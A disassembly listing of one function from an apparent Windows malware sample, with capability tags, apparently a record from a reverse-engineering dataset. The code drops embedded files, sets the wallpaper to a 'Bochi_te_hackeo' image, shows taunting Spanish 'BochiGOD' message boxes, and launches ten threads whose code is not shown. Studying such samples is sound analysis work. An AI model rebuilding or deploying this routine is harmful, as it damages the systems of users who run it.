Function at 0x1400123a0
Capabilities:
Get session user name
Query environment variable
Write file on windows

Disassembly:
push r13
mov eax, 0x7d6d8
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000c080
lea rsi, [0x14008925d]
sub rsp, rax
call fcn.14000b190
xor ecx, ecx
lea rdi, [rsp + 0x23a]
call qword [sym.imp.msvcrt.dll__time64]
mov rcx, rax
call sub.msvcrt.dll_srand
lea rcx, str.USERPROFILE
call sub.msvcrt.dll_getenv
mov ecx, 0x8b9a
lea rdx, [0x14008907a]
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x14008907d]
mov rbp, rax
call sub.msvcrt.dll_fopen
test rax, rax
je 0x140012716
mov r12, rax
lea rsi, [rsp + 0x23a]
lea rbx, [rsp + 0x8dd4]
mov rcx, rsi
mov r9, r12
mov edx, 1
inc rsi
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rsi, rbx
jne 0x14001241e
mov rcx, r12
lea rdi, [rsp + 0x3b692]
lea rsi, [0x140013020]
call sub.msvcrt.dll_fclose
xor edx, edx
mov r9d, 1
lea r8, str.C:WindowsTempBochi_te_hackeo.jpg
mov ecx, 0x14
lea r13, [rsp + 0x3b692]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
mov ecx, 0x4203e
lea rdx, [0x14008907a]
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x1400890ea]
call sub.msvcrt.dll_fopen
test rax, rax
mov r12, rax
je 0x140012716
mov rsi, r13
lea rdi, [rsp + 0x7d6d0]
mov rcx, rsi
mov r9, r12
mov edx, 1
inc rsi
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rsi, rdi
jne 0x1400124a6
mov rcx, r12
lea rsi, [0x140055060]
mov rdi, rbx
call sub.msvcrt.dll_fclose
mov ecx, 0x328be
lea rdx, [0x14008907a]
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x14008910a]
call sub.msvcrt.dll_fopen
mov r12, rax
test rax, rax
je 0x140012716
mov rcx, rbx
mov r9, r12
mov edx, 1
inc rbx
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rbx, r13
jne 0x1400124fc
mov rcx, r12
lea r12, [rsp + 0x139]
lea rdi, [rsp + 0x91]
call sub.msvcrt.dll_fclose
lea rdx, [rsp + 0x24]
mov rcx, r12
mov dword [rsp + 0x24], 0x101
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea r10, [rsp + 0x71]
mov ecx, 0x2a
movabs rax, 0x6f6e207574206553
movabs rdx, 0x3a7365206572626d
mov qword [rsp + 0x71], rax
xor eax, eax
rep stosd dword [rdi], eax
mov rcx, r10
mov qword [rsp + 0x79], rdx
mov rdx, r12
mov qword [rsp + 0x81], 0x20
mov qword [rsp + 0x89], 0
call sub.msvcrt.dll_strcat
mov rbx, qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
mov r9d, 0x10
lea r8, str.BochiGOD
mov rdx, rax
call rbx
xor ecx, ecx
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.Como_vez_bro_estas_jodido_ejecutar_esto_fue_lo_peor_que_pudistes_hacer
call rbx
xor ecx, ecx
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.Ya_no_hay_vuelta_atras
call rbx
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x28]
lea r8, [0x140011f40]
call fcn.140006bf0
test eax, eax
je 0x140012615
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_los_4_primeros_hilos
jmp 0x140012712
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x30]
lea r8, [0x140011fa0]
call fcn.140006bf0
test eax, eax
jne 0x1400125fc
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x38]
lea r8, [0x1400120d0]
call fcn.140006bf0
test eax, eax
jne 0x1400125fc
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x40]
lea r8, [0x140011d50]
call fcn.140006bf0
test eax, eax
jne 0x1400125fc
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x48]
lea r8, [0x140011de0]
call fcn.140006bf0
test eax, eax
je 0x140012693
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_los_ultimos_5_hilos
jmp 0x140012712
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x50]
lea r8, [0x140011e90]
call fcn.140006bf0
test eax, eax
jne 0x14001267d
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8, [0x140012060]
call fcn.140006bf0
test eax, eax
jne 0x14001267d
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x60]
lea r8, [0x140011cd0]
call fcn.140006bf0
test eax, eax
jne 0x14001267d
lea rcx, [rsp + 0x68]
mov r9, rbp
lea r8, [fcn.1400121b0]
xor edx, edx
call fcn.140006bf0
mov r12d, eax
test eax, eax
je 0x14001271e
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_el_hilo_10
xor ecx, ecx
call rbx
mov r12d, 1
jmp 0x140012793
mov rcx, qword [rsp + 0x28]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x30]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x38]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x40]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x48]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x50]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x58]
xor edx, edx
call fcn.140006eb0
xor edx, edx
xor ecx, ecx
call fcn.140006eb0
mov rcx, qword [rsp + 0x60]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x68]
xor edx, edx
call fcn.140006eb0
add rsp, 0x7d6d8
mov eax, r12d
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret